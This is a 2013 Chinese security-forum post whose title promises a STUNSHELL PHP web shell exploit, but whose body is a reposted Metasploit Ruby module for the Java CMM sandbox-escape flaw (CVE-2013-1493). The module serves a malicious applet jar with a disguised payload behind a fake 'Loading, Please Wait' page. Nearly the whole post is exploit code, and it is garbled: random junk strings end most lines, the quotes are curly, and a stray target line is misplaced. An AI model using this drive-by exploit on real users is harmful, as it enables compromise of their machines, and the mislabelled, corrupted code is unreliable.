找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2305|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##: W$ B1 e$ I$ E- l# @8 q( K
& q3 |/ U4 f  o; d% p
# This file is part of the Metasploit Framework and may be subject to- v) C( t$ ~/ w* H( y
# redistribution and commercial restrictions. Please see the Metasploit# Z# J( k0 f9 j+ a& V& R9 o
# web site for more information on licensing and terms of use.) g" L# |. q9 [
# http://metasploit.com/
  M. Z6 f) n) f7 U* |##
2 }' h! C8 e, V% jrequire ‘msf/core’
1 A, |8 W: K( A* J% J( Srequire ‘rex’
$ d7 m$ l  j1 ?9 Z: hclass Metasploit3 < Msf::Exploit::Remote
& D7 a, n( J+ Q$ O, `5 gRank = NormalRanking
/ q2 f: ^+ [3 x& E7 minclude Msf::Exploit::Remote::HttpServer::HTML
, E( s3 U* _9 @( [/ P% Uinclude Msf::Exploit::EXE9 W1 s; C3 R  A+ s& a/ `
include Msf::Exploit::Remote::BrowserAutopwn/ R7 d4 p. e5 {8 Z; Q
autopwn_info({ :javascript => false })
* d; m4 r3 {4 E5 D2 r2 t  T2 Gdef initialize( info = {} )
; K% I& G& ?7 c- osuper( update_info( info,
- Y" E* n6 a5 Q, |2 W" @‘Name’ => ‘Java CMM Remote Code Execution’,+ h, ]# O' v/ ]! _2 h
‘Description’ => %q{# J& ~3 `3 v3 z
This module abuses the Color Management classes from a Java Applet to run# M( }0 a6 j- ~  w3 S0 P* K; a
arbitrary Java code outside of the sandbox as exploited in the wild in February
7 K; x- I; K, i/ B3 w4 x3 S1 B/ pand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41# n: `+ t5 N+ k  c' T$ a
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
( p7 i* t2 X" `, d/ gsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
7 a; G# n3 ~% f' o4 Dwarning in order to run the malicious applet.
& C0 N7 O# L8 r% F$ h& V8 G3 z},
! B+ l; L4 j2 P' p1 F# b: C‘License’ => MSF_LICENSE,
& ], X; L2 i9 y. z‘Author’ =>
; _# ?0 B7 j8 H# T; Z( v'Unknown', # Vulnerability discovery and Exploit
8 M! B% Q' K5 T9 m* G'juan vazquez' # Metasploit module (just ported the published exploit)4 Q3 _. Q# ?$ h
],2 E+ H9 ~. J7 F  o
‘References’ =>! v& M! [$ S; L) G1 ?/ V
[! P" \1 E/ `" m
[ 'CVE', '2013-1493' ],
) H0 V$ R: v+ V/ J3 U[ 'OSVDB', '90737' ]," J1 k( }, z5 {: h! x5 l7 x
[ 'BID', '58238' ],+ \+ z) Z; m$ |8 b
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],$ L* c$ M* I+ u  T1 b, o: G2 z: s
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
9 C9 y# A2 Q! Q[ 'URL', 'http://pastie.org/pastes/6581034' ]
! J: U, U4 P; b! q],* ?( j) h5 G  J+ F
‘Platform’ => [ 'win', 'java' ],3 h7 B5 {4 |; h" a$ `& d
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
  y8 S1 d5 ~! G/ u9 h9 }9 l/ Z9 N‘Targets’ =>* l3 Z# n. }- _$ U" `% M; T
[
3 _  _" y+ W7 D8 v[ 'Generic (Java Payload)',
: T5 }+ P/ w( `  E$ N/ [: x9 Z{# g" P# Q3 R: G5 m$ G
'Platform' => 'java',
8 j4 o* F, t! n- f. N'Arch' => ARCH_JAVA$ _( v; W0 r- \" V4 r; J
}
& ^& D5 R7 }! Z! M& \],
0 m2 r! y/ \6 n+ P[ 'Windows x86 (Native Payload)',
% b, M% A9 M# `  p: J9 {2 g{
6 \0 x6 Q0 t6 |'Platform' => 'win',; K+ Z" E# u# `1 @% G
'Arch' => ARCH_X86
8 ^" K6 I' f1 V. M# |' |$ L/ ^}
1 b* F8 I1 ~5 z1 z+ L! U, w' r]
6 U  d0 _; X( y; Y! B],) P" R' o. ~6 G0 z
‘‘DisclosureDate’ => ‘Mar 01 2013′; S1 r3 Q; g/ L0 p
))
  n. ]: F9 l* s8 Y$ _end
2 M( p& v# t/ s. m2 A" g& Z' Sdef setup5 F; m* b( H4 O( q" ~& p9 d
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”); V7 j. _6 Z0 @, X& {" [- W
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }9 m: A. W9 W, B6 c( R! l7 Z( A) D
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
  O2 \% i6 A3 o3 N& t. [5 y; e2 m@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }) M& y4 R. A# K5 E$ _
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)  d1 L* \- F2 a+ u$ j. T
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }2 B2 M& d# g/ Q' ~  v+ h5 P
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)' l$ D) K6 ~  q& \- V8 c
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }' s4 r( l, G) e2 ]" }
@init_class_name = rand_text_alpha(“Init”.length)
4 t+ X5 I  T! L  t6 T" y@init_class.gsub!(“Init”, @init_class_name). ~, o- d( Q( y
super
5 ]: Z" g3 p* ]& o1 e) aend6 `% n* v: n2 ^6 H& ?8 Y
def on_request_uri(cli, request)
* i8 \+ h. k9 n* k( S  Y4 }6 jprint_status(“handling request for #{request.uri}”)+ @% R( W) q  L5 G5 S
case request.uri
7 n. v' a7 w) g% d# X+ w% wwhen /\.jar$/i
* _; N; X, n+ t; h, g  sjar = payload.encoded_jar: i$ e+ d+ a+ J7 c! m- F
jar.add_file(“#{@init_class_name}.class”, @init_class)
' T+ Q9 P% C1 l8 t9 J; o; _jar.add_file(“Leak.class”, @leak_class)
2 L! i  N/ ]& i1 xjar.add_file(“MyBufferedImage.class”, @buffered_image_class)5 u: j" Y3 H2 O4 `
jar.add_file(“MyColorSpace.class”, @color_space_class)& F- n8 d3 m4 Y1 y
DefaultTarget’ => 1,
3 F& c. u- ~  w  g; g( Z' U9 t& Xmetasploit_str = rand_text_alpha(“metasploit”.length)
" Z& e9 n1 ]7 e. q- s' h6 r, X, I" zpayload_str = rand_text_alpha(“payload”.length)5 a2 F% c+ [6 c) A
jar.entries.each { |entry|7 U& C2 W9 ^: y* I5 `6 c9 f9 V
entry.name.gsub!(“metasploit”, metasploit_str)
( h# y  `3 _2 Z+ S5 x4 \! x& T$ d& Wentry.name.gsub!(“Payload”, payload_str)
4 X4 m: b& L6 m5 uentry.data = entry.data.gsub(“metasploit”, metasploit_str)3 r. R' ~  j' r& O5 O" K
entry.data = entry.data.gsub(“Payload”, payload_str)/ G) N1 Z! U3 W% `$ `% I4 y- c# K8 w
}7 ^, c' m- N! N
jar.build_manifest
# H& m4 V, v2 C2 C2 Ysend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })# [' d& z" Q% r0 b
when /\/$/
4 Y* H2 y3 ~- V- E5 ppayload = regenerate_payload(cli)8 ~& }2 J$ A& d
if not payload3 v: [: |( f! Q
print_error(“Failed to generate the payload.”). G- k+ f$ |! T, o( N, V" s6 Z
send_not_found(cli)0 ~3 a. A0 l" p; ^) M  g
return
/ U6 L% N3 g7 P6 i% cend
7 E; u  H) O1 v/ `4 s. Bsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })6 u. l, t# ]' ?" P6 A' F
else
6 I( J# a* m7 }send_redirect(cli, get_resource() + ‘/’, ”)
0 B" s& d8 n+ z4 ~2 h& \end
1 ], a1 ?# l5 m# T8 ^! w- Uend6 U, m& Z! {/ T& d, g" p2 Q
def generate_html$ K6 C, j$ |. Y% M+ S% D& A, n
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
/ Y) h5 Z! P; P9 L3 K: v0 Khtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
* K& X, b) o/ ]- k$ qhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
+ B, w4 q8 d# x; R9 Khtml += %Q|</applet></body></html>|
& i! Q) `! f# N9 _+ ^. Ereturn html
- u* U4 B3 R$ s5 nend
0 H; f' g0 g% P' Aend
. y6 `) U& Y) g8 E4 N7 nend5 M4 }; Y9 t  b8 t8 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表